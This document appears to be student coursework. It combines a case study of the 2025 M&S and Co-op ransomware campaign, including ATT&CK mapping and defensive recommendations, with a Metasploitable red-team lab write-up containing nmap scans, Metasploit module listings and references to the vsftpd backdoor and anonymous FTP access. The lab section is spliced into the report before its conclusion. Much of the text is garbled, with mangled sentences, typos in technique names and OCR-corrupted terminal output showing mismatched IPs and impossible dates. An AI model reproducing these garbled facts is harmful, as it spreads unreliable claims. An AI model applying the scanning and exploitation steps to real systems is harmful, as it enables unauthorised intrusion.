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Abstraction
In the seasion of spring of 2025 , 2 most established high-street retailers  company in the the United Kingdom are Marks & Spencer (M&S) and the Co-operative Group (Co-op) — fell victim to a sophisticated, coordinated ransomware and extortion campaign. It has attributed with high confidence to threat actors operating as affiliates of the RAAS Dragon Force Ransomware as a servicing  platform, and exhibiting the hallmark social engineering tradecraft of the Scattered Spider collective (also tracked as UNC3944/Octo Tempest), this campaign inflicted estimated losses of £270–£440 million across the UK retail sector. This report provides a systematic critical data analysis of the offensive incident, treating the M&S and Co-op breaches as components of a one hand, coordinated campaign. The critical analysis produces an evidence-backed attack timeline, a detailed mapping of adversary Tactics, Techniques, and Procedures (TTPs) to the MITRE ATT&CK® Enterprise Matrix, a root cause examination of technical and organisational security failures, a threat actor profile and motive assessment, a critical evaluation of detection and incident response capabilities, and a synthesis of prioritised strategic recommendations. The findings reveal that the attackers exploited fundamental identity and access management (IAM) weaknesses, specifically the absence of phishing-resistant multi-factor authentication (MFA) and inadequate IT help desk verification procedures, to achieve prolonged, undetected access to critical infrastructure. The incident underscores the urgent need for zero-trust architectures, rigorous third-party risk management, and proactive threat hunting capabilities in large retail organisations.

Introduction 
The 2025 wave of cyber attacks targeting UK retailers represents one of the most consequential cybersecurity incidents in British commercial history. The Cyber Monitoring Centre (CMC) classified the combined M&S and Co-op campaign as a Category 2 cyber event — equivalent to a 'Category 2 hurricane' on its newly launched risk scale — with aggregate sectoral costs estimated at between £270 million and £440 million [11].

Marks & Spencer, founded in 1884 and employing approximately 65,000 staff across over 1,400 stores, disclosed a ransomware-driven cyber incident in April 2025 that forced the suspension of online sales for 46 days and caused widespread in-store disruption [1]. The Co-operative Group, a member-owned organisation with over 2,500 food retail outlets and an estimated 20 million members in the United Kingdom, disclosed a concurrent incident that resulted in the exfiltration of a significant volume of member data [8].

Both incidents are assessed by investigators at CrowdStrike, Microsoft, Fenix24, and Google's Threat Intelligence Group (GTIG) as being consistent with the tactics, techniques, and procedures of Scattered Spider acting as a DragonForce RaaS affiliate [14]. This report critically analyses these incidents as a unified campaign, drawing on public reporting, authoritative industry sources, government advisories, and the MITRE ATT&CK® framework to derive actionable intelligence and strategic recommendations.

2. Incident summery and Timeline 
The campaign is notable for its extended dwell time. Forensic investigation revealed that threat actors at rapid and number one onauthorisation date for m & s retaile system as next February 2025 approximately ten weeks before the ransomeware attack was detonated by stealing the WAD windows active directory Databases file (ntds.dit) from a domain controller [5]. It is the file which store password hashing for all domain account, affording the attackers comprehensive lateral movement capability across the corporate network.

Table 1 below presents a consolidated, evidence-backed timeline of key events across both incidents.

Table 1: Consolidated Incident Timeline — M&S and Co-op Cyber Campaign, 2025

	Date
	Key Event

	Feb 20225
	Threat actors silently gain access to M&S network. NTDS.dit Active Directory file is exfiltrated, exposing all domain password hashes.

	19-21 April 2025
	Easter Weekend: M&S customers encounter widespread failures with contactless payments and Click & Collect services in stores.

	22 April 2025
	M&S formally notifies the London Stock Exchange of a cyber incident. The NCSC is engaged; forensics firms CrowdStrike, Microsoft, and Fenix24 are contracted. Co-op also begins detecting unusual activity.

	23 April 2025
	DragonForce operators contact M&S CEO Stuart Machin via an employee email account, confirming the breach and demanding ransom.

	24 April 2025
	DragonForce ransomware is deployed on M&S's VMware ESXi hosts, encrypting virtual machines. Automated supply chain ordering halts.

	25 April 2025
	M&S suspends all online clothing and home orders via website and app. Job listings (~200) are removed from the career’s portal. Warehouse agency workers at Castle Donington sent home.

	28 April 2025
	M&S store shelves show visible gaps, particularly for popular items. Food supply chain disruption becomes publicly apparent

	30 April 2025
	Metropolitan Police confirm  an investigation. Co-op discloses it has taken significant IT systems offline to contain its own incident.

	1st May 2025
	NCSC confirms active healps the m& s and co_op , memo instructs staff to turn off VPNs and verify all Teams meeting attendees.

	1st May 2025
	Harrods confirms attempted unauthorised access to its systems — the third major UK retailer targeted.

	13 May 2025
	M&S confirms customer data was stolen (names, addresses, order histories, birthdays). Password resets mandated for all ~9 million online account holders.

	21-22 May 2025
	M&S annual results: leadership quantifies ~£300 million estimated lost operating profit. Read-only website restored. Online sales remain suspended.

	10 Jun 2025
	M&S resumes online order-taking for clothing after a 46-day hiatus. Full system recovery extends to July 2025.

	July 2025
	Full operational recovery completed. UK CMC classifies the campaign as a Category 2 cyber event with estimated total industry costs of £270–£440 million.





A defining characteristic of the campaign was the initial access vector: social engineering targeting IT service desk personnel. The company chairman is ARCHIE NORMAN did confirmed to the UK business parliament and trade community as well about the attackers impersonated to the employee and third party IT service provider . its reported tata consulting services which operates the m&s IT help desk into resetting an internal users password  MFA token [5][9]. This single control failure opened a pathway into one of Britain's largest retail enterprises.



3. Adversary TTP mapping and MIRTE ATT&CK

Table 2 maps ten key Tactics, Techniques, and Procedures (TTPs) identified across the M&S and Co-op attack chain to the MITRE ATT&CK® Enterprise Matrix. Each TTP is supported by evidence from forensic investigations and industry reporting.






Table 2 below MIRTE ATT&CK TTP mapping M&S campign
	ATT&CK ID
	Technique Name
	Tactic
	Justification

	T1566.001
	Phishing: Spearphishing Attachment/Link
	Initial Access
	Scattered Spider used targeted phishing messages and vishing calls impersonating IT support to trick employees at M&S and Co-op help desks into divulging credentials or approving password resets [1][3].

	T1621
	MFA Request Generation
	credential access
	The attackers bombarded staff with repeated MFA push notifications (MFA fatigue/push bombing), causing some employees to inadvertently approve fraudulent authentication requests, bypassing 2FA protections [3][6].

	T1078.002
	Valid Accounts: Domain Accounts
	Defence Evasion / Persistence
	Using socially engineered credentials, actors authenticated as legitimate domain users. M&S infiltration reportedly began in February 2025 by abusing valid credentials to move through the environment undetected for weeks [5].

	T1003.003
	OS CD for credential dumping:NTDS
	credential access
	The NTDS.dit ADDF FOR active directory for database file Active Directory database file was exfiltrated from the M&S domain controller in approximately February 2025, yielding password hashes for all domain user accounts, enabling wide lateral movement [1][5].

	T1078.004
	Valid Accounts: Cloud Accounts
	Defence Evasion / Persistence
	Compromised administrator credentials were used to access cloud management consoles (including Azure AD and M365), enabling session hijacking and the creation of rogue privileged accounts to maintain persistence [6].

	T1021.001
	Online service:
RDP or remote desktop protocol
	Lateral movement of system
	After credential compromise, actors used RDP and other legitimate remote access channels to pivot between workstations, servers, and domain controllers across M&S's network [7].

	T1486
	Data Encrypted for Impact
	Impact
	DragonForce ransomware was deployed via the VMware ESXi hypervisor management plane, encrypting virtual machines across M&S's infrastructure on or around 24 April 2025, causing widespread service outages [2][4].

	T1041/1567
	Exfiltration Over C2 / Web Service
	Exfiltration
	Prior to encryption, significant volumes of customer PII (names, addresses, birthdates, order histories) were exfiltrated by the threat actors. DragonForce's data-leak site was used to confirm data theft and increase extortion pressure on Co-op [4][8].

	t 1562.001
	Nonepiar or impair defences: to disable from enable ro change the tool
	Defence Evaporasion
	Scattered Spider employed Bring-Your-Own-Vulnerable-Driver (BYOVD) techniques to load and exploit a legitimate but vulnerable kernel driver, disabling EDR processes and antivirus solutions to operate undetected during ransomware staging [6][7].

	t 1114.002
	Username or email gathering: online or remotely data collections
	collection
	Post-compromise, threat actors monitored victim communications in Slack, Microsoft Teams, and Exchange Online to track incident response activities, enabling them to evade detection and adapt their TTPs in real time [16].

	
	
	
	




The attack chain closely mirrors the 'big game hunting' methodology documented by Google's GTIG, where Scattered Spider targets prominent brands within a specific sector in rapid succession to maximise media coverage and ransom pressure before shifting to a new industry vertical [14]. The pattern mirrors prior Scattered Spider campaigns against casino operators (mgm resorts and Caesars entertainment in September 2023 and opposite US business and financial services organisations [4].

4. Route Couse and Security Control Failure 
A multi-layered analysis of causative factors reveals failures at technical, organisational, and human levels.

4.1. Technical Failure 
1. Absence of phishing-resistant MFA: Both organisations relied upon MFA implementations (push notification-based) that are susceptible to social engineering bypass and push-bombing attacks (T1621). The NCSC has published specific guidance calling on all organisations to migrate away from push notification MFA toward FIDO2-compliant hardware tokens or passkeys [11].
1. Insufficient monitoring of privileged identity operations: The exfiltration of the NTDS.dit file — a critical Active Directory artefact that would not be accessed during normal administrative operations — occurred in February 2025 without triggering a detection response. This indicates a failure in security information and event management (SIEM) alerting and privileged access monitoring.
1. VMware ESXi attack surface: The deployment of the DragonForce ransomware encryptor via the ESXi hypervisor management plane (T1486) indicates that ESXi hosts were accessible from within the corporate network without adequate segmentation or hypervisor-specific access controls [4]. The NCSC and Mandiant have both noted that ESXi hosts are increasingly targeted to maximise encryption impact.
1. Third-party supplier risk: Investigators assessed the initial social engineering vector as targeting a third-party managed service provider operating M&S's IT helpdesk (reportedly TCS). This represents a critical third-party risk management failure — the supplier's service desk agents did not apply sufficiently robust identity verification protocols [9].

4.2. Organizational Failure 
1. Inadequate IT help desk authentication procedures: The service desk reset a user's password and MFA credentials upon the verbal request of an impersonator, without out-of-band verification. CISA's advisory on Scattered Spider explicitly identifies this as a primary attack vector and recommends that organisations require manager approval or in-person verification for any credential or MFA reset [16].
1. Insufficient network segmentation: The ability of threat actors to move laterally from the initial access point to domain controllers, VMware vSphere management infrastructure, and the broader production environment indicates a flat or insufficiently segmented network architecture.
1. Extended dwell time without detection: The approximately ten-week gap between initial infiltration (February 2025) and ransomware deployment (24 April 2025) indicates a significant deficit in threat hunting capabilities, behavioural analytics, and endpoint detection and response (EDR) coverage across the network [7].

4.3. Human Factor
The NCSC characterised the initial access mechanism — social engineering of a third-party service desk — as the most significant human factor. Security awareness training for IT support personnel clearly did not include sufficient conditioning against vishing (voice phishing) and impersonation attacks. Academic research by Krombholz et al. (2015) has long established that human factors remain the most consistently exploited vulnerability in enterprise security architectures; this incident provides a contemporary validation of that principle in a large-scale operational context.
 
5. Threat Actor Profile motive 
Attribution for the M&S and Co-op campaign has been assessed with high confidence as consistent with Scattered Spider (formally designated as threat group G1015 by MITRE ATT&CK), acting as an affiliate under the DragonForce RaaS model [17]. Many times scattered spider is also tracked  as UNC3944 (Mandiant/Google), October or octo tempest  (Microsoft), and mudled libra (Palo Alto Networks).

Scattered Spider is characterised as a loose, English-speaking collective primarily trained of not adults of young in the USA  and UK as well associated with underground community  known as 'The Comm' [4][12]. The group became prominent in 2022 through SIM-swapping campaigns targeting telecommunications and BPO firms. By 2023, the collective had escalated to ransomware and double-extortion operations, targeting MGM Resorts and Caesars Entertainment in campaigns that extracted tens of millions of dollars in ransom payments [4].

The primary motive is assessed as financial. The double-extortion model — encrypting systems while simultaneously threatening to publish exfiltrated data — maximises leverage over victims, who face both operational disruption and regulatory exposure under the UK GDPR and ICO enforcement regime. DragonForce affiliates reportedly receive 80% of ransom proceeds under the RaaS model, incentivising high-impact attacks against large, revenue-generating organisations [13].

The selection of UK retail targets is consistent with GTIG's analysis that Scattered Spider deliberately concentrates on prominent brands within a single sector at a time — a 'big game hunting' strategy that generates media coverage and establishes negotiating leverage through reputational damage [14]. The retail sector presents attractive characteristics: high brand visibility, significant consumer-facing data volumes, and substantial operational dependence on technology systems. ReliaQuest analysis further indicates that 70% of Scattered Spider's historical targeting falls within technology, finance, and retail trade sectors [19].

DragonForce's trajectory is also noteworthy from an attribution standpoint. Originally emerging as a pro-Palestinian hacktivist collective known as DragonForce Malaysia in 2022, the group pivoted to a financially motivated RaaS model by mid-2023, and by early 2025 had positioned itself as a 'ransomware cartel', absorbing the tooling and infrastructure of the defunct RansomHub operation [13][15]. This evolution demonstrates the increasingly industrialised and commoditised nature of the ransomware-as-a-service ecosystem.
 
6. Detection and incident Response Analysis
The detection and incident response capability demonstrated in both incidents reflects a pattern of reactive, rather than proactive, security posture, with several identifiable gaps.
6.1. Detection Gaps
1. Absence of detection during initial access: The social engineering event at the IT help desk — the single most critical control point in the entire attack chain — was not detected as anomalous. No alert was generated when an employee's credentials and MFA token were reset in response to an unverified verbal request.
1. Failure to detect NTDS.dit exfiltration: The extraction of the Active Directory credential database in February 2025 did not trigger a security response. This artefact — the Windows ntds.dit file — would not typically be accessed during normal administrative operations. Its transfer or staging should have been detected by a well-configured SIEM or data loss prevention (DLP) solution.
1. No detection of lateral movement over ten weeks: Threat actors moved across M&S's network for approximately ten weeks without triggering an EDR or behavioural anomaly alert. The CISA advisory on Scattered Spider notes that the group actively searches internal communications (Slack, Teams) to monitor incident response activity [16], suggesting they maintained persistent, adaptive access to victim environments throughout this period.
1. Monitoring of communications post-compromise: DragonForce representatives reportedly contacted the M&S CEO via an employee email account on 23 April 2025, indicating the threat actors had retained access to corporate email even after the ransomware detonation event — a significant failure in credential invalidation and access revocation.
6.2. Incident Response Assessment 
Both organisations demonstrated a degree of operational resilience in their response. M&S engaged top-tier forensic firms (CrowdStrike, Microsoft, Fenix24) within hours of the public disclosure, and disclosed the breach to the NCSC and the London Stock Exchange on the day of formal detection [1]. The NCSC provided active technical assistance to all three affected retailers (M&S, Co-op, and Harrods) — reflecting the national significance of the campaign [11].
Co-op's response is assessed as more proactive than M&S's, as the organisation took the decision to proactively shut down significant portions of its IT infrastructure before ransomware was deployed — the rapid isolation response potentially preventing the full encryption of its systems. Co-op CIO communications instructing staff to disable VPN access and verify Teams meeting attendees demonstrate an awareness of the adversary's lateral movement and monitoring TTPs [21].
However, the extended 46-day online sales suspension at M&S highlights insufficient business continuity planning and the absence of resilient, offline-capable backup systems for critical commercial functions. A mature cyber resilience programme would include pre-tested recovery playbooks for ransomware scenarios, with clearly defined recovery time objectives (RTOs) for revenue-generating digital services.

7. Strategic Recommendations 
The following recommendations are prioritised by impact and urgency, drawing on the specific control failures identified and referencing established frameworks including NCSC Cyber Essentials Plus

7.1. Identity and Access Management
1. Deploy phishing-resistant MFA universally: it replaces push notifications multifactor authentication with FIDO2 compliant hardware security key or passkey it based on authentications for all previladge account administrative ,interface,VPN as well access .the NCSC of post incident guidance spacifically identifies this is the single hights impact defensive measure  against scattered spider type attacks [11]. Estimated effort: medium (3–6 months for enterprise rollout); estimated cost band: £50–£200k for hardware tokens at a time.
1. Implement privileged access workstations (PAWs): Domain controllers, ESXi management interfaces, and other Tier-0 assets should be accessible only from dedicated, hardened privileged access workstations, ensuring that even compromised standard user credentials cannot reach critical infrastructure.
Enforce zero-standing-privilege (ZSP) for administrative access: Adopt just-in-time (JIT) privileged access workflows using tools such as Microsoft Privileged Identity Management or CyberArk, ensuring that elevated permissions are granted only for defined windows and are automatically revoked.
7.2. IT Service Desk Security Critical Priority
1. Mandate out-of-band identity verification for all credential and MFA resets: No password or MFA reset should be executed based solely on a voice call or email. A second, independent verification channel (e.g., a pre-registered manager callback, a video identity verification service, or an in-person appearance) should be mandatory. The CISA Scattered Spider advisory specifically identifies this control as a primary mitigation [16].
Implement canary credentials and service desk honeypots: Deploy fictitious high-value accounts whose access would indicate service desk exploitation, triggering automated alerting and response workflows. 
7.3. Network Architecture High Priority
1. Adopt a zero-trust network architecture (ZTNA): Remove implicit trust from all internal network segments. Enforce micro segmentation such that the domain controller, hypervisor management plane, and data stores are isolated from general corporate network traffic. The NCSC's zero-trust architecture principles guidance provides a prescriptive framework for implementation.
1. Segment and protect virtualisation infrastructure: VMware ESXi and vCenter management interfaces must be placed on isolated management VLANs with explicit access control lists, preventing any lateral movement from compromised end-user systems to hypervisor management.

7.4. Detection and Monitoring 
1. Deploy behavioural analytics across identity, endpoint, and cloud: Implement a SIEM with user entity behavioural analytics (UEBA) to detect anomalous patterns such as: bulk NTDS.dit access, atypical RDP connections to domain controllers, high-volume MFA request generation, and unusual cloud console access. The CISA advisory provides specific detection telemetry recommendations for Scattered Spider TTPs [16].
1. Threat hunting for NTDS.dit exfiltration indicators: Proactively hunt for the use of ntdsutil, vssadmin, or volume shadow copy manipulation as indicators of Active Directory database staging. Alert on any shadow copy deletion event on domain controllers.
1. Monitor and alert on IT service desk activity patterns: Implement analytics over service desk ticketing systems to flag anomalous patterns such as multiple password or MFA resets for a single account within a short window, or resets requested outside normal hours.
7.5. Third Paerty and Supply Chain Risk – High Priority
1. Contractually mandate service desk verification standards for all managed service providers: Third-party IT service providers must be required, by contract and audit, to apply the same or higher identity verification standards for credential resets as internal personnel. Regular audits should verify compliance.
1. Limit third-party access using network access control (NAC): Apply the principle of least privilege to all third-party access. MSP accounts should not have standing domain administrator privileges; JIT access should be enforced through a privileged access management (PAM) solution.

7.6. Resilience and Response – Medium Priority
1. Develop and test a ransomware-specific incident response playbook: Define recovery time objectives (RTOs) for all critical business services. Conduct annual tabletop exercises simulating ransomware scenarios to validate the efficacy of response procedures. M&S's 46-day online sales suspension demonstrates the commercial cost of inadequate pre-tested recovery capability.
1. Maintain air-gapped, immutable backups: Implement a 3-2-1 backup strategy (three copies, two different media, one offsite and one offline/air-gapped) for all critical data and system configurations. Validate restoration procedures through regular recovery drills.
Red Team Engagement ABCD Ltd complete penetration testing 
Lab setup
Machine use
1. Kali linux (attacker mechine)
2. Metasploitale 
3. Owasp
4. Windows 7

Out-of-Scope Systems
The following are strictly excluded:
· Any real-world production systems 
· External networks (internet-facing infrastructure) 
· Third-party services or cloud platforms 
· Host operating system of the virtualisation platform



Network setup
Host only adapter
IP :192.168.56.104
Subnet mask:255.255.255.25










IP and HTTP server 
[image: ]

 








All VMs running and their IP address 
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RECONNAISSANCE (Kali)
The following techniques are authorised:
· Network reconnaissance (low and controlled scanning) 
[image: ]
· Vulnerability identification and exploitation 
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No data from metasploitable to exploit 

· Credential discovery (within lab systems only) 
· Privilege escalation (controlled) 
· Lateral movement between in-scope systems 
· Data access and limited exfiltration of dummy data only





Discover host 
Nmap -sV -O 192.168.1.225
[image: ]
You can log into the anonymous FTP server with the username anonymous and leave the password field blank (just press Enter). This will give you access to the FTP shell. Since vsftpd is operating on the target, you can use the Metasploit Framework to check for vulnerabilities. Here's how to find and run the backdoor exploit: Port 22 ssh: ssh or security shell protocol it means encrypted network protocol for OS or operating services securely over an unsecured network services over an less secure services network.and its works like  protocol to allow communications between two devices like computer via hyper text transfer protocol or hypertext transfer protocol security and trade their data.
The command for the building  connection with ssh domain or host server is :
 Ssh username target id address

[image: ]

All open port 
If we want to brute force to service and try to get credentials by breaking the username and password. But this method is prohibited 
[image: ]
This system usually take so much time on the behalf of our username and password list and notify the username passwords and login information . from both side we can get same output , here is the code to check.
[image: ]
TERMINAL NETWORK or telnet is an network service and protocol on the internet and computer local host area network to access bidirectional internet service text oriented communication by using virtual terminal connection that allows text only network protocols is commonly used for allow remote access to computers over TCT/IP networks such as Internet.




Telent ip
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We can now use the port 80 because it is open we are seeing . so now we are inputting metasploitale 2 IP push in   internet browser. It always shows that ,this machine is run php as a CGI , so that we  are using Metasploit framework ot exploit machine and argument injection attack.

Exploiting metasploitable
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5. Prohibited Activities
The following actions are strictly forbidden:
· Denial-of-Service (DoS) or resource exhaustion attacks 
· Destructive actions (data deletion, corruption, or system damage) 
· Exploitation outside the defined scope 
· Use of real malware or uncontrolled payloads 
· Persistence mechanisms that survive VM reset

6. Safety Controls and Kill Switch
To ensure safe execution:
6.1 Kill Switch
The engagement must be immediately halted if:
· System instability or crashes occur 
· Unexpected behaviour affects the host system 
· The attack extends beyond the lab environment 
6.2 Emergency Procedure
· Stop all testing immediately 
· Notify supervisor/assessor 
· Revert affected VM to snapshot
The attack known as samba is the suite of Linux/UNIX system apps that reads the server massage block or SMB protocol .MS windows operating system and OS2 operating system are used  for server massage block protocol system to perform client server operating and networking for file and printer sharing and similar operations. 
8. Conclusion 
The 2025 M&S and Co-op cyber attacks constitute a landmark case study in adversary exploitation of identity and access management weaknesses. The campaign demonstrates that technically sophisticated ransomware deployment need not be preceded by the exploitation of software vulnerabilities — a single successful social engineering event at an IT service desk, coupled with the absence of phishing-resistant MFA, was sufficient to enable threat actors to achieve months of undetected access within one of the UK's largest retail organisations.

The DragonForce/Scattered Spider collaboration exemplifies the industrialisation of cybercrime: the commoditisation of ransomware-as-a-service platforms enables even relatively unsophisticated actors to execute highly disruptive campaigns when armed with effective social engineering scripts and a compliant help desk environment. The UK's CMC estimated aggregate costs of £270–£440 million across the sector — a figure that could have been substantially reduced by the implementation of well-understood, relatively low-cost controls such as phishing-resistant MFA and robust service desk identity verification procedures.

The strategic recommendations presented in this report are grounded in established frameworks (NCSC, CISA, NIST) and prioritised to deliver the greatest reduction in risk exposure. The central imperative for any large organisation is to treat identity security — not perimeter security — as the primary defensive domain in the modern threat landscape.
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root@sboxes:~/Desktop# nmap -sV 10.0.2.15

Starting Nmap 7.80 ( https://nmap.org ) at 2026-04-30 19:51 EDT
Nmap scan report for 10.6.2.15

Host is up (0.0000020s latency).

Not shown: 999 closed ports

PORT ~ STATE SERVICE VERSION

111/tcp open rpcbind 2-4 (RPC #100000)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
NI TextEdifor L IP address (1 host up) scanned in 6.32 seconds
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root@oshoxes:~# nmap -sV -0 192.168.1.225
Starting Nmap 7.80 ( https://nmap.org ) at 2026-84-30 16:10 EDT

Nmap scan report for TEWIN7.lan (192.168.1.225)

Host is up (0.0029s latency).

Not shown: 999 filtered ports

PORT  STATE SERVICE VERSION

22/tcp open ssh OpenssH 6.7 (protocol 2.0)

ViAZehitiap-5S: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC

War T 0SScan results may be unreliable because we could not find at least 1 open and 1 closed p
rt

Device type: general purpose

Running (JUST GUESSING): Microsoft Windows 2008|Vista (92%), FreeBSD 6.X (85%

05 CPE: cpe:/o:microsoft:windows_server 2008::beta3 cpe:/o:microsoft:windows server 2008 cpe:/o:mi
rosoft:windows_vista::sp2 cpe:/o:freebsd:freebsd:6.2

Aggressive 0S guesses: Microsoft Windows Server 2008 or 2008 Beta 3 (92%), Microsoft Windows Vista
SP2 (91%), FreeBSD 6.2-RELEASE (85%)

No exact 0S matches for host (test conditions non-ideal).

Network Distance: 1 hop

05 and Service detection performed. Please report any incorrect results at https://nmap.org/submit

1 IP address (1 host up) scanned in 11.63 seconds

#1

Nmap done:
root@osboxes:
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root@osboxes: ~

valid_Lft 315076209sec preferred Lft 315070209sec
inet6 fe80::a00:27ff:fe27:b36b/64 scope link noprefixroute

valid_1ft forever preferred lft forever
root@osboxes:~# nmap -sS -sV -T2 192.168.1.225
Starting Nmap 7.80 ( https://nmap.org ) at 2026-84-30 15:52 EDT
Stats: 0:02:51 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 19.25% done; ETC: 16:07 (0:11:53 remaining
Stats: 0:02:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 19.95% done; ETC: 16:06 (0:11:46 remaining
Stats: 0:03:54 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 26.40% done; ETC: 16:07 (0:10:50 remaining
Stats: 0:05:49 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 39.45% done; ETC: 16:07 (0:08:56 remaining
Stats: 0:06:00 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 40.60% done; ETC: 16:07 (0:08:45 remaining
Stats: 0:06:04 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.10% done; ETC: 16:07 (0:08:42 remaining
Stats: 0:06:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.20% done; ETC: 16:07 (0:08:39 remaining
Stats: 0:06:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.25% done; ETC: 16:07 (0:08:40 remaining
Stats: 0:06:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.30% done; ETC: 16:07 (0:08:39 remaining
Stats: 0:06:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.35% done; ETC: 16:07 (0:08:39 remaining
Stats: 0:06:07 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 41.40% done; ETC: 16:07 (0:08:38 remaining
Stats: 0:09:18 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 62.95% done; ETC: 16:07 (0:05:28 remaining
Stats: 0:11:39 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 78.95% done; ETC: 16:07 (0:03:06 remaining
St Zehmap: 12:20 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN stealth Scan Timing: About 83.55% done; ETC: 16:07 (0:62:26 remaining
Stats: 0:12:57 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 87.70% done; ETC: 16:07 (0:01:49 remaining
Stats: 0:14:45 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 99.99% done; ETC: 16:07 (0:00:00 remaining
Nmap scan report for TEWIN7.lan (192.168.1.225)
Host is up (0.0030s latency).
Not shown: 999 filtered ports
PORT  STATE SERVICE VERSION
22/tcp open ssh OpenssH 6.7 (protocol 2.0)
MAC Address: 08:00:27:10:B8:D0 (Oracle VirtualBox virtual NIC)

P>z ON

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 886.10 seconds
root@osboxes:~# |
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19  auxiliary/scanner/http/binom3_login_config_pass_dump normal

Yes  Binom3 Web Management Login Scanner, Config and Password File Dump

20 auxiliary/scanner/http/bitweaver overlay type traversal 2012-10-23 normal
Yes  Bitweaver overlay type Directory Traversal

21 auxiliary/scanner/http/blind_sql_query normal
Yes  HTTP Blind SQL Injection Scanner

22 auxiliary/scanner/http/bmc_trackit passwd_reset 2014-12-09 normal
Yes  BMC TrackIt! Unauthenticated Arbitrary User Password Change

23 auxiliary/scanner/http/brute dirs normal
Yes  HTTP Directory Brute Force Scanner

24 auxiliary/scanner/http/buffalo_login normal
Yes  Buffalo NAS Login Utility

25  auxiliary/scanner/http/buildmaster_login normal
Yes  Inedo BuildMaster Login Scanner

26 auxiliary/scanner/http/caidao_bruteforce login normal
Yes  Chinese Caidao Backdoor Bruteforce

27 auxiliary/scanner/http/canon wireless 2013-06-18 normal
Yes  Canon Printer wireless Configuration Disclosure

28 auxiliary/scanner/http/cert normal
Yes  HTTP SSI Certificate Checker

metasploit framework: canner/http/cgit_traversal 2018-08-03 normal
Yes  cgit Directory Traversal

30 auxiliary/scanner/http/chef webui login normal
Yes  Chef Web UI Brute Force Utility

31  auxiliary/scanner/http/chromecast webserver normal
Yes  Chromecast Web Server Scanner

32 auxiliary/scanner/http/chromecast wifi normal
Yes  Chromecast Wifi Enumeration

33 auxiliary/scanner/http/cisco_asa asdm normal
Yes  Cisco ASA ASDM Bruteforce Login Utility

34 auxiliary/scanner/http/cisco_device manager 2000-10-26 normal
Yes  Cisco Device HTTP Device Manager Access

35 auxiliary/scanner/http/cisco directory traversal 2018-06-06 normal
No Cisco ASA Directory Traversal

36 auxiliary/scanner/http/cisco_firepower_download 2016-10-10 normal
Yes  Cisco Firepower Management Console 6.0 Post Auth Report Download Directory Traversal

37  auxiliary/scanner/http/cisco_firepower login normal
Yes  Cisco Firepower Management Console 6.0 Login

38 auxiliary/scanner/http/cisco_ios auth bypass 2001-06-27 normal
Yes  Cisco I0S HTTP Unauthorized Administrative Access

39 auxiliary/scanner/http/cisco_ironport enum normal
Yes  Cisco Ironport Bruteforce Login Utility

40 auxiliary/scanner/http/cisco_nac_manager traversal normal
Yes  Cisco Network Access Manager Directory Traversal Vulnerability

41  auxiliary/scanner/http/cisco_ssl_vpn normal

Yes  Cisco SSL VPN Bruteforce Login Utility
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msf5 > use auxiliary/scanner/http/

Matching Modules

2
l Yes
3

Yes
4
Yes

' 5
Yes

6

Name Disclosure Date
Description

auxiliary/admin/appletv/appletv_display image
Apple TV Image Remote Control
auxiliary/admin/appletv/appletv_display video
Apple TV Video Remote Control

auxiliary/scanner/http/alenetworks_ax_directory traversal 2014-01-28
Al10 Networks AX Loadbalancer Directory Traversal
auxiliary/scanner/http/accellion_fta statecode file read 2015-07-10

Accellion FTA 'statecode’ Cookie Arbitrary File Read
auxiliary/scanner/http/adobe xml_inject

Adobe XML External Entity Injection
auxiliary/scanner/http/advantech webaccess login

Advantech WebAccess Login

auxiliary/scanner/http/allegro_rompager misfortune cookie 2014-12-17

| vemetasploitframework-are RomPager 'Misfortune Cookie' (CVE-2014-9222) Scanner

7

I Yes
8

Yes
S
Yes

10
' Yes
1

Yes
12
Yes
13
Yes
14
Yes
15
Yes
16
Yes
17
Yes
18
Yes
19

auxiliary/scanner/http/apache_activemq_source disclosure
Apache ActiveMQ JSP Files Source Disclosure
auxiliary/scanner/http/apache_activemq_traversal

Apache ActiveMq Directory Traversal

auxiliary/scanner/http/apache mod_cgi_bash_env 2014-09-24
Apache mod_cgi Bash Environment Variable Injection (Shellshock) Scanner
auxiliary/scanner/http/apache optionsbleed 2017-09-18

Apache Optionsbleed Scanner
auxiliary/scanner/http/apache_userdir_enum

Apache "mod_userdir" User Enumeration
auxiliary/scanner/http/appletv_login

AppleTV AirPlay Login Utility
auxiliary/scanner/http/atlassian_crowd fileaccess
Atlassian Crowd XML Entity Expansion Remote File Access
auxiliary/scanner/http/axis_local_file include

Apache Axis2 v1.4.1 Local File Inclusion
auxiliary/scanner/http/axis_login

Apache Axis2 Brute Force Utility
auxiliary/scanner/http/backup_file

HTTP Backup File Scanner
auxiliary/scanner/http/barracuda_directory traversal 2010-10-08
Barracuda Multiple Product "locale” Directory Traversal

auxiliary/scanner/http/bavision_cam login
BAVision IP Camera Web Server Login
auxiliary/scanner/http/binom3 login config pass dump

Rank

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

normal

